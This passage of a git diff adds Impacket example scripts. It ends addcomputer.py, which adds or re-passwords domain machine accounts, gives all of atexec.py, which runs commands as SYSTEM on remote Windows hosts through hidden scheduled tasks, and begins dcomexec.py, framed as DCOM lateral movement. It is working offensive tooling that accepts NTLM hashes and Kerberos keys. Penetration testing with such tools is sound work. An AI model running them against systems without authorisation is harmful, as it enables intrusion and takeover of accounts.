+                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
+                    ldapConn.bind()
+
+            except ldap3.core.exceptions.LDAPSocketOpenError:
+                #try tlsv1
+                tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1)
+                ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)
+                if self.__doKerberos:
+                    ldapConn = ldap3.Connection(ldapServer)
+                    self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcHost)
+                elif self.__hashes is not None:
+                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
+                    ldapConn.bind()
+                else:
+                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
+                    ldapConn.bind()
+
+
+
+            if self.__noAdd or self.__delete:
+                if not self.LDAPComputerExists(ldapConn, self.__computerName):
+                    raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
+
+                computer = self.LDAPGetComputer(ldapConn, self.__computerName)
+
+                if self.__delete:
+                    res = ldapConn.delete(computer.entry_dn)
+                    message = "delete"
+                else:
+                    res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
+                    message = "set password for"
+
+
+                if not res:
+                    if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
+                        raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName))
+                    else:
+                        raise Exception(str(ldapConn.result))
+                else:
+                    if self.__noAdd:
+                        logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword))
+                    else:
+                        logging.info("Succesfully deleted %s." % self.__computerName)
+
+            else:
+                if self.__computerName is not None:
+                    if self.LDAPComputerExists(ldapConn, self.__computerName):
+                        raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
+                else:
+                    while True:
+                        self.__computerName = self.generateComputerName()
+                        if not self.LDAPComputerExists(ldapConn, self.__computerName):
+                            break
+
+
+                computerHostname = self.__computerName[:-1]
+                computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
+
+                # Default computer SPNs
+                spns = [
+                    'HOST/%s' % computerHostname,
+                    'HOST/%s.%s' % (computerHostname, self.__domain),
+                    'RestrictedKrbHost/%s' % computerHostname,
+                    'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
+                ]
+                ucd = {
+                    'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
+                    'userAccountControl': 0x1000,
+                    'servicePrincipalName': spns,
+                    'sAMAccountName': self.__computerName,
+                    'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
+                }
+
+                res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
+                if not res:
+                    if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
+                        error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16)
+                        if error_code == 0x216D:
+                            raise Exception("User %s machine quota exceeded!" % self.__username)
+                        else:
+                            raise Exception(str(ldapConn.result))
+                    elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
+                        raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
+                    else:
+                        raise Exception(str(ldapConn.result))
+                else:
+                    logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+
+            logging.critical(str(e))
+
+
+    def LDAPComputerExists(self, connection, computerName):
+        connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
+        return len(connection.entries) ==1
+
+    def LDAPGetComputer(self, connection, computerName):
+        connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
+        return connection.entries[0]
+
+    def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
+                      TGS=None, useCache=True):
+        from pyasn1.codec.ber import encoder, decoder
+        from pyasn1.type.univ import noValue
+        """
+        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
+
+        :param string user: username
+        :param string password: password for the user
+        :param string domain: domain where the account is valid for (required)
+        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
+        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
+        :param struct TGT: If there's a TGT available, send the structure here and it will be used
+        :param struct TGS: same for TGS. See smb3.py for the format
+        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
+
+        :return: True, raises an Exception if error.
+        """
+
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0' + lmhash
+            if len(nthash) % 2:
+                nthash = '0' + nthash
+            try:  # just in case they were converted already
+                lmhash = unhexlify(lmhash)
+                nthash = unhexlify(nthash)
+            except TypeError:
+                pass
+
+        # Importing down here so pyasn1 is not required if kerberos is not used.
+        from impacket.krb5.ccache import CCache
+        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+        from impacket.krb5 import constants
+        from impacket.krb5.types import Principal, KerberosTime, Ticket
+        import datetime
+
+        if TGT is not None or TGS is not None:
+            useCache = False
+
+        targetName = 'ldap/%s' % self.__target
+        if useCache:
+            domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)
+
+        # First of all, we need to get a TGT for the user
+        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        if TGT is None:
+            if TGS is None:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
+                                                                        aesKey, kdcHost)
+        else:
+            tgt = TGT['KDC_REP']
+            cipher = TGT['cipher']
+            sessionKey = TGT['sessionKey']
+
+        if TGS is None:
+            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
+                                                                    sessionKey)
+        else:
+            tgs = TGS['KDC_REP']
+            cipher = TGS['cipher']
+            sessionKey = TGS['sessionKey']
+
+            # Let's build a NegTokenInit with a Kerberos REQ_AP
+
+        blob = SPNEGO_NegTokenInit()
+
+        # Kerberos
+        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+        # Let's extract the ticket from the TGS
+        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        # Now let's build the AP_REQ
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = []
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq, 'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = domain
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+        now = datetime.datetime.utcnow()
+
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 11
+        # AP-REQ Authenticator (includes application authenticator
+        # subkey), encrypted with the application session key
+        # (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        blob['MechToken'] = encoder.encode(apReq)
+
+
+        request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData())
+
+        # Done with the Kerberos saga, now let's get into LDAP
+        # try to open connection if closed
+        if connection.closed:
+            connection.open(read_server_info=False)
+
+        connection.sasl_in_progress = True
+        response = connection.post_send_single_response(connection.send('bindRequest', request, None))
+        connection.sasl_in_progress = False
+        if response[0]['result'] != 0:
+            raise Exception(response)
+
+        connection.bound = True
+
+        return True
+
+    def generateComputerName(self):
+        return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
+
+    def doSAMRAdd(self, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        servHandle = None
+        domainHandle = None
+        userHandle = None
+        try:
+            dce.connect()
+            dce.bind(samr.MSRPC_UUID_SAMR)
+
+            samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
+                samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
+            servHandle = samrConnectResponse['ServerHandle']
+
+            samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
+            domains = samrEnumResponse['Buffer']['Buffer']
+            domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
+
+            if len(domainsWithoutBuiltin) > 1:
+                domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
+                if len(domain) != 1:
+                    logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios)
+                    logging.critical("Available domain(s):")
+                    for domain in domains:
+                        logging.error(" * %s" % domain['Name'])
+                    logging.critical("Consider using -domain-netbios argument to specify which one you meant.")
+                    raise Exception()
+                else:
+                    selectedDomain = domain[0]['Name']
+            else:
+                selectedDomain = domainsWithoutBuiltin[0]['Name']
+
+            samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
+            domainSID = samrLookupDomainResponse['DomainId']
+
+            if logging.getLogger().level == logging.DEBUG:
+                logging.info("Opening domain %s..." % selectedDomain)
+            samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
+            domainHandle = samrOpenDomainResponse['DomainHandle']
+
+
+            if self.__noAdd or self.__delete:
+                try:
+                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
+                except samr.DCERPCSessionError as e:
+                    if e.error_code == 0xc0000073:
+                        raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain))
+                    else:
+                        raise
+
+                userRID = checkForUser['RelativeIds']['Element'][0]
+                if self.__delete:
+                    access = samr.DELETE
+                    message = "delete"
+                else:
+                    access = samr.USER_FORCE_PASSWORD_CHANGE
+                    message = "set password for"
+                try:
+                    openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
+                    userHandle = openUser['UserHandle']
+                except samr.DCERPCSessionError as e:
+                    if e.error_code == 0xc0000022:
+                        raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName))
+                    else:
+                        raise
+            else:
+                if self.__computerName is not None:
+                    try:
+                        checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
+                        raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
+                    except samr.DCERPCSessionError as e:
+                        if e.error_code != 0xc0000073:
+                            raise
+                else:
+                    foundUnused = False
+                    while not foundUnused:
+                        self.__computerName = self.generateComputerName()
+                        try:
+                            checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
+                        except samr.DCERPCSessionError as e:
+                            if e.error_code == 0xc0000073:
+                                foundUnused = True
+                            else:
+                                raise
+
+                try:
+                    createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
+                except samr.DCERPCSessionError as e:
+                    if e.error_code == 0xc0000022:
+                        raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
+                    elif e.error_code == 0xc00002e7:
+                        raise Exception("User %s machine quota exceeded!" % self.__username)
+                    else:
+                        raise
+
+                userHandle = createUser['UserHandle']
+
+            if self.__delete:
+                samr.hSamrDeleteUser(dce, userHandle)
+                logging.info("Successfully deleted %s." % self.__computerName)
+                userHandle = None
+            else:
+                samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
+                if self.__noAdd:
+                    logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword))
+                else:
+                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
+                    userRID = checkForUser['RelativeIds']['Element'][0]
+                    openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
+                    userHandle = openUser['UserHandle']
+                    req = samr.SAMPR_USER_INFO_BUFFER()
+                    req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
+                    req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
+                    samr.hSamrSetInformationUser2(dce, userHandle, req)
+                    logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
+
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+
+            logging.critical(str(e))
+        finally:
+            if userHandle is not None:
+                samr.hSamrCloseHandle(dce, userHandle)
+            if domainHandle is not None:
+                samr.hSamrCloseHandle(dce, domainHandle)
+            if servHandle is not None:
+                samr.hSamrCloseHandle(dce, servHandle)
+            dce.disconnect()
+
+    def run(self):
+        if self.__method == 'SAMR':
+            self.run_samr()
+        elif self.__method == 'LDAPS':
+            self.run_ldaps()
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain")
+
+    if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874
+        parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.')
+    else:
+        parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
+    parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
+    parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
+                                                                                 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
+    parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer'
+                                                                                 'If omitted, a random [A-Za-z0-9]{32} will be used.')
+    parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.')
+    parser.add_argument('-delete', action='store_true', help='Delete an existing computer.')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-method', choices=['SAMR', 'LDAPS'], default='SAMR', help='Method of adding the computer.'
+                                                                                'SAMR works over SMB.'
+                                                                                'LDAPS has some certificate requirements'
+                                                                                'and isn\'t always available.')
+
+
+    parser.add_argument('-port', type=int, choices=[139, 445, 636],
+                       help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.')
+
+    group = parser.add_argument_group('LDAP')
+    group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
+                                                                                    'If ommited, the domain part (FQDN) '
+                                                                                    'specified in the account parameter will be used.')
+    group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.'
+                                                                                                        'If omitted, CN=Computers will be used,')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on account parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-host', action='store',metavar = "hostname",  help='Hostname of the domain controller to use. '
+                                                                              'If ommited, the domain part (FQDN) '
+                                                                              'specified in the account parameter will be used')
+    group.add_argument('-dc-ip', action='store',metavar = "ip",  help='IP of the domain controller to use. '
+                                                                      'Useful if you can\'t translate the FQDN.'
+                                                                      'specified in the account parameter will be used')
+
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.account)
+
+    try:
+        if domain is None or domain == '':
+            logging.critical('Domain should be specified!')
+            sys.exit(1)
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+
+        executer = ADDCOMPUTER(username, password, domain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        print(str(e))
diff --git a/examples/atexec.py b/examples/atexec.py
new file mode 100644
index 0000000..a33894c
--- /dev/null
+++ b/examples/atexec.py
@@ -0,0 +1,319 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   ATSVC example for some functions implemented, creates, enums, runs, delete jobs
+#   This example executes a command on the target machine through the Task Scheduler
+#   service. Returns the output of such command
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   DCE/RPC for TSCH
+#
+
+from __future__ import division
+from __future__ import print_function
+import string
+import sys
+import argparse
+import time
+import random
+import logging
+
+from impacket.examples import logger
+from impacket import version
+from impacket.dcerpc.v5 import tsch, transport
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \
+    RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.examples.utils import parse_target
+from impacket.krb5.keytab import Keytab
+from six import PY2
+
+CODEC = sys.stdout.encoding
+
+class TSCH_EXEC:
+    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None,
+                 command=None, sessionId=None, silentCommand=False):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__command = command
+        self.__silentCommand = silentCommand
+        self.sessionId = sessionId
+
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def play(self, addr):
+        stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                         self.__aesKey)
+            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+        try:
+            self.doStuff(rpctransport)
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error(e)
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
+                logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
+
+    def doStuff(self, rpctransport):
+        def output_callback(data):
+            try:
+                print(data.decode(CODEC))
+            except UnicodeDecodeError:
+                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py '
+                              'again with -codec and the corresponding codec')
+                print(data.decode(CODEC, errors='replace'))
+
+        def xml_escape(data):
+            replace_table = {
+                 "&": "&amp;",
+                 '"': "&quot;",
+                 "'": "&apos;",
+                 ">": "&gt;",
+                 "<": "&lt;",
+                 }
+            return ''.join(replace_table.get(c, c) for c in data)
+
+        def cmd_split(cmdline):
+            cmdline = cmdline.split(" ", 1)
+            cmd = cmdline[0]
+            args = cmdline[1] if len(cmdline) > 1 else ''
+
+            return [cmd, args]
+
+        dce = rpctransport.get_dce_rpc()
+
+        dce.set_credentials(*rpctransport.get_credentials())
+        if self.__doKerberos is True:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        dce.bind(tsch.MSRPC_UUID_TSCHS)
+        tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+        tmpFileName = tmpName + '.tmp'
+
+        if self.sessionId is not None:
+            cmd, args = cmd_split(self.__command)
+        else:
+            cmd = "cmd.exe"
+            args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName)
+
+        xml = """<?xml version="1.0" encoding="UTF-16"?>
+<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
+  <Triggers>
+    <CalendarTrigger>
+      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
+      <Enabled>true</Enabled>
+      <ScheduleByDay>
+        <DaysInterval>1</DaysInterval>
+      </ScheduleByDay>
+    </CalendarTrigger>
+  </Triggers>
+  <Principals>
+    <Principal id="LocalSystem">
+      <UserId>S-1-5-18</UserId>
+      <RunLevel>HighestAvailable</RunLevel>
+    </Principal>
+  </Principals>
+  <Settings>
+    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
+    <AllowHardTerminate>true</AllowHardTerminate>
+    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
+    <IdleSettings>
+      <StopOnIdleEnd>true</StopOnIdleEnd>
+      <RestartOnIdle>false</RestartOnIdle>
+    </IdleSettings>
+    <AllowStartOnDemand>true</AllowStartOnDemand>
+    <Enabled>true</Enabled>
+    <Hidden>true</Hidden>
+    <RunOnlyIfIdle>false</RunOnlyIfIdle>
+    <WakeToRun>false</WakeToRun>
+    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
+    <Priority>7</Priority>
+  </Settings>
+  <Actions Context="LocalSystem">
+    <Exec>
+      <Command>%s</Command>
+      <Arguments>%s</Arguments>
+    </Exec>
+  </Actions>
+</Task>
+        """ % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), 
+            (xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:])))
+        taskCreated = False
+        try:
+            logging.info('Creating task \\%s' % tmpName)
+            tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
+            taskCreated = True
+
+            logging.info('Running task \\%s' % tmpName)
+            done = False
+
+            if self.sessionId is None:
+                tsch.hSchRpcRun(dce, '\\%s' % tmpName)
+            else:
+                try:
+                    tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)
+                except Exception as e:
+                    if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 :
+                        logging.info('The specified session doesn\'t exist!')
+                        done = True
+                    else:
+                        raise
+
+            while not done:
+                logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
+                resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
+                if resp['pLastRuntime']['wYear'] != 0:
+                    done = True
+                else:
+                    time.sleep(2)
+
+            logging.info('Deleting task \\%s' % tmpName)
+            tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
+            taskCreated = False
+        except tsch.DCERPCSessionError as e:
+            logging.error(e)
+            e.get_packet().dump()
+        finally:
+            if taskCreated is True:
+                tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
+
+        if self.sessionId is not None:
+            dce.disconnect()
+            return
+
+        if self.__silentCommand:
+            dce.disconnect()
+            return
+
+        smbConnection = rpctransport.get_smb_connection()
+        waitOnce = True
+        while True:
+            try:
+                logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
+                smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
+                break
+            except Exception as e:
+                if str(e).find('SHARING') > 0:
+                    time.sleep(3)
+                elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
+                    if waitOnce is True:
+                        # We're giving it the chance to flush the file before giving up
+                        time.sleep(3)
+                        waitOnce = False
+                    else:
+                        raise
+                else:
+                    raise
+        logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
+        smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
+
+        dce.disconnect()
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ')
+    parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)')
+    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
+    parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run '
+                                                                                     'given command (no output)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
+                          'again with -codec and the corresponding codec ' % CODEC)
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. '
+                                         'If omitted it will use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+    else:
+        if CODEC is None:
+            CODEC = 'utf-8'
+
+    logging.warning("This will work ONLY on Windows >= Vista")
+
+    if ''.join(options.command) == ' ':
+        logging.error('You need to specify a command to execute!')
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.keytab is not None:
+        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,
+                           ' '.join(options.command), options.session_id, options.silentcommand)
+    atsvc_exec.play(address)
diff --git a/examples/dcomexec.py b/examples/dcomexec.py
new file mode 100644
index 0000000..85635e6
--- /dev/null
+++ b/examples/dcomexec.py
@@ -0,0 +1,657 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A similar approach to psexec but executing commands through DCOM.
+#   You can select different objects to be used to execute the commands.
+#   Currently supported objects are:
+#     1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2
+#     2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2
+#     3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2
+#
+#   Drawback is it needs DCOM, hence, I have to be able to access
+#   DCOM ports at the target machine.
+#
+#   Original discovery by Matt Nelson (@enigma0x3):
+#   https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+#   https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
+#
+# Author:
